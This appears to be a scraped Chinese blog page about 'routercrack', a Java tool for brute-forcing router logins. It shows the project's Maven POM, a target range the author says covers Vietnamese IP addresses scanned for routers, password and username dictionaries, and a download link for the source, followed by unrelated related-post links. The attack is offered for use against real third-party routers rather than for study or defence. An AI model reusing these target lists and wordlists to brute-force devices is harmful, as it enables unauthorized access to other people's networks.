xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion> <groupId>cn.com.cisec</groupId>
<artifactId>routercrack</artifactId>
<version>0.0.1-SNAPSHOT</version>
<packaging>jar</packaging> <name>Routercrack</name>
<url>http://maven.apache.org</url> <properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties> <dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>3.8.1</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<version>1.2.17</version>
</dependency>
<dependency>
<groupId>org.apache.httpcomponents</groupId>
<artifactId>httpclient</artifactId>
<version>4.3.5</version>
</dependency> <dependency>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-resources-plugin</artifactId>
<version>2.6</version>
</dependency>
</dependencies>
</project>
3.里面的ips.txt是要扫描的ip地址(下面的地址是越南的ip,我用来扫描越南的路由器)
113.160.0.0/11
4.passwords.txt是密码字典,暴力破解的密码库
admin
111111
123qwe123
abc123
123456
xiaoming
12345678
iloveyou
qq123456
taobao
root
wang1234
password
12345678
qwerty
111111
monkey
123123
654321
superman
qazwsx
michael
football
dragon
5.users.txt用户名的字典
admin
administrator
6.然后是最重要的源码信息
http://pan.baidu.com/s/1eQPOk9O
路由器扫描的Java源码的更多相关文章
- 如何阅读Java源码?
阅读本文大概需要 3.6 分钟. 阅读Java源码的前提条件: 1.技术基础 在阅读源码之前,我们要有一定程度的技术基础的支持. 假如你从来都没有学过Java,也没有其它编程语言的基础,上来就啃< ...
- Tika结合Tesseract-OCR 实现光学汉字识别(简体、宋体的识别率百分之百)—附Java源码、测试数据和训练集下载地址
OCR(Optical character recognition) —— 光学字符识别,是图像处理的一个重要分支,中文的识别具有一定挑战性,特别是手写体和草书的识别,是重要和热门的科学研究方向.可 ...
- java源码——文件读写和单词统计
本文要解决的问题:"键盘输入一段英语语句,将这段话写入content.txt中,然后输出这段话,并且统计语句中英文单词的数目以及各个单词出现的次数." 分析问题知,核心是文件读写和 ...
- 如何阅读Java源码 阅读java的真实体会
刚才在论坛不经意间,看到有关源码阅读的帖子.回想自己前几年,阅读源码那种兴奋和成就感(1),不禁又有一种激动. 源码阅读,我觉得最核心有三点:技术基础+强烈的求知欲+耐心. 说到技术基础,我打个比 ...
- Android反编译(一)之反编译JAVA源码
Android反编译(一) 之反编译JAVA源码 [目录] 1.工具 2.反编译步骤 3.实例 4.装X技巧 1.工具 1).dex反编译JAR工具 dex2jar http://code.go ...
- 如何阅读Java源码
刚才在论坛不经意间,看到有关源码阅读的帖子.回想自己前几年,阅读源码那种兴奋和成就感(1),不禁又有一种激动.源码阅读,我觉得最核心有三点:技术基础+强烈的求知欲+耐心. 说到技术基础,我打个比方吧, ...
- Java 源码学习线路————_先JDK工具包集合_再core包,也就是String、StringBuffer等_Java IO类库
http://www.iteye.com/topic/1113732 原则网址 Java源码初接触 如果你进行过一年左右的开发,喜欢用eclipse的debug功能.好了,你现在就有阅读源码的技术基础 ...
- Programming a Spider in Java 源码帖
Programming a Spider in Java 源码帖 Listing 1: Finding the bad links (CheckLinks.java) import java.awt. ...
- 解密随机数生成器(二)——从java源码看线性同余算法
Random Java中的Random类生成的是伪随机数,使用的是48-bit的种子,然后调用一个linear congruential formula线性同余方程(Donald Knuth的编程艺术 ...
随机推荐
- 【转载】Android异步处理系列文章
本博文地址:http://blog.csdn.net/mylzc/article/details/6777767 转载请注明出处. 为了给用户带来良好的交互体验,在Android应用的开发过程中需要把 ...
- hdu 1548 A strange lift 宽搜bfs+优先队列
题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=1548 There is a strange lift.The lift can stop can at ...
- Matlab梯度下降解决评分矩阵分解
for iter = 1:num_iters %梯度下降 用户向量 for i = 1:m %返回有0有1 是逻辑值 ratedIndex1 = R_training(i,:)~=0 ; %U(i,: ...
- Tomcat漏洞说明与安全加固
Tomcat是Apache软件基金会的一个免费的.开放源码的WEB应用服务器,可以运行在Linux和Windows等多个平台上,由于其性能稳定.扩展性好.免费等特点深受广大用户的喜爱.目前,互联网上绝 ...
- nodejs快速入门
目录: 编写第一个Node.js程序: 异步式I/O和事件循环: 模块和包: 调试. 1. 编写第一个Node.js程序: Node.js 具有深厚的开源血统,它诞生于托管了许多优秀开源项目的网站—— ...
- Codeforces 322B
B. Ciel and Flowers time limit per test 1 second memory limit per test 256 megabytes input standard ...
- SOA之(5)——REST的SOA(SOA with REST)概念
REST的SOA(SOA with REST)概念 发展 1992年网站(Web Sites)是在Web浏览器和Web服务器直接通过HTTP传输HTML. 2000年WS-* (Web Service ...
- hdu 4739 Zhuge Liang's Mines
一个简单的搜索题,唉…… 当时脑子抽了,没做出来啊…… 代码如下: #include<iostream> #include<stdio.h> #include<algor ...
- 机器学习之神经网络模型-下(Neural Networks: Representation)
3. Model Representation I 1 神经网络是在模仿大脑中的神经元或者神经网络时发明的.因此,要解释如何表示模型假设,我们不妨先来看单个神经元在大脑中是什么样的. 我们的大脑中充满 ...
- MyEclipse 2015 CI
系统 win8.1 MyEclipse 2015 CI 激活后可用 激活工具 地址:http://download.csdn.net/detail/trep10000/8305577